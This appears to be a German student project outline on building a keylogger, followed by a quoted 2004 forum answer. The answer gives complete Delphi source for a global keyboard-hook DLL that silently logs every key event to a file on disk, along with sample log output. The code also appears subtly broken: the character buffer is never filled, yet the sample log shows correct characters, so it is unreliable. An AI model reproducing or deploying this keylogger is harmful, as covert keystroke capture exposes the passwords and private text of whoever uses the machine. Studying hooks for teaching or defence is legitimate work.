Infoprojekt - Key Logger

# Inhaltsverzeichnis

1. Einleitung
   1. Motivation
   2. Ziel
2. Allgemein Keylogger
3. Software
   1. Delphi
   2. Git
4. Hilfsmittel
5. Programmtechnische Umsetzung
   1. Realisierung
   2. Log
   3. Erklärung anhand Code
   4. Leistungsfähigkeit
      1. Einschränkungen
6. Reflexion
7. Anhang
   1. Code
   2. Tagesjournal

# Hook example to reverse engineer

Verified Answer[?](http://www.experts-exchange.com/Programming/Languages/Pascal/Delphi/Q_21220329.html)

The member who asked this question verified this comment provided the solution that solved their problem.

by:[geobul](http://www.experts-exchange.com/members/geobul.html)Posted on 2004-12-01 at 02:11:13[ID: 12714198](http://www.experts-exchange.com/Programming/Languages/Pascal/Delphi/Q_21220329.html#a12714198)

Hi,  
  
The hook dll:  
--------  
library TheHook;  
  
uses  
  Windows,  
  Messages,  
  SysUtils;  
  
var  
  TheHookHandle: HHOOK; // was ist das hier?  
  FF: TextFile;  
  FileName: string;  
  
function TheHookProc(Code : integer; wParam : DWORD; lParam : DWORD): longint; stdcall;  
var  
  LogText: string;  
  KeyState: TKeyBoardState;  
  VirtualKey: byte;  
  ScanCode: byte;  
  AChar: array[0..1] of Char;  
  buf: string;  
begin  
  result := 0;  
  if (Code = HC\_ACTION) then begin  
    if (tagMSG(Ptr(lParam)^).Message = WM\_KEYUP) or (tagMSG(Ptr(lParam)^).Message = WM\_KEYDOWN) then begin // pointer?  
      // record UP/DOWN state  
      if (tagMSG(Ptr(lParam)^).Message = WM\_KEYUP) then LogText := 'KEYUP   '  
      else LogText := 'KEYDOWN ';  
        
      // translate the key to ASCII  
      GetKeyboardState(KeyState);  
      VirtualKey := tagMSG(Ptr(lParam)^).WParam;  
      ScanCode := HIBYTE(LOWORD(tagMSG(Ptr(lParam)^).lParam));  
        
  
      // exceptions  
      case VirtualKey of  
        VK\_BACK: buf := 'Backspace';  
        VK\_DELETE: buf := 'Delete';  
        VK\_TAB: buf := 'Tab';  
        VK\_RETURN: buf := 'Enter';  
        VK\_SHIFT: buf := 'Shift';  
        VK\_CAPITAL: buf := 'CapsLock';  
        VK\_ESCAPE: buf := 'Esc';  
        VK\_SPACE: buf := 'Space';  
        // etc. keys you're interested in  
      else  
        buf := AChar[0];  
      end;  
  
      LogText := LogText + buf;  
  
      // open the log file  
      FileName := 'c:\log.txt'; // your log filename here  
      AssignFile(FF, FileName);  
      if FileExists(FileName) then Append(FF)  
      else Rewrite(FF);  
  
      // write to the log  
      WriteLn(FF, LogText);  
  
      // close the log file  
      CloseFile(FF);  
    end;  
  end;  
  {Call the next hook in the hook chain}  
  if (Code < 0) then  
    result := CallNextHookEx(TheHookHandle, Code, wParam, lParam);  
end;  
  
procedure StartTheHook; stdcall;  
begin  
  if (TheHookHandle = 0) then begin  
  
    // set the hook  
    TheHookHandle := SetWindowsHookEx(WH\_GETMESSAGE, @TheHookProc, hInstance, 0);  
  end;  
end;  
  
procedure StopTheHook; stdcall;  
begin  
  if (TheHookHandle <> 0) then begin  
    // Remove our hook and clear our hook handle  
    if (UnhookWindowsHookEx(TheHookHandle) <> FALSE) then begin  
      TheHookHandle := 0;  
    end;  
  
  end;  
end;  
  
exports  
  StartTheHook,  
  StopTheHook;  
  
begin  
end.  
--------  
  
The sample text was:  
abcdABCD      1234  
!@#$  
  
And the log file was:  
KEYDOWN a  
KEYUP   a  
KEYDOWN b  
KEYUP   b  
KEYDOWN c  
KEYUP   c  
KEYDOWN d  
KEYUP   d  
KEYDOWN Space  
KEYUP   Space  
KEYDOWN Backspace  
KEYUP   Backspace  
KEYDOWN CapsLock  
KEYUP   CapsLock  
KEYDOWN A  
KEYUP   A  
KEYDOWN B  
KEYUP   B  
KEYDOWN C  
KEYUP   C  
KEYDOWN D  
KEYUP   D  
KEYDOWN Tab  
KEYUP   Tab  
KEYDOWN 1  
KEYUP   1  
KEYDOWN 2  
KEYUP   2  
KEYDOWN 3  
KEYUP   3  
KEYDOWN 4  
KEYUP   4  
KEYDOWN Enter  
KEYUP   Enter  
KEYDOWN Shift  
KEYDOWN !  
KEYUP   !  
KEYDOWN @  
KEYUP   @  
KEYDOWN #  
KEYUP   #  
KEYDOWN $  
KEYUP   $  
KEYUP   Shift  
  
You may record KEYDOWN (or UP) messages only and ignore special keys like Shift and CapsLock.  
  
Regards, Geo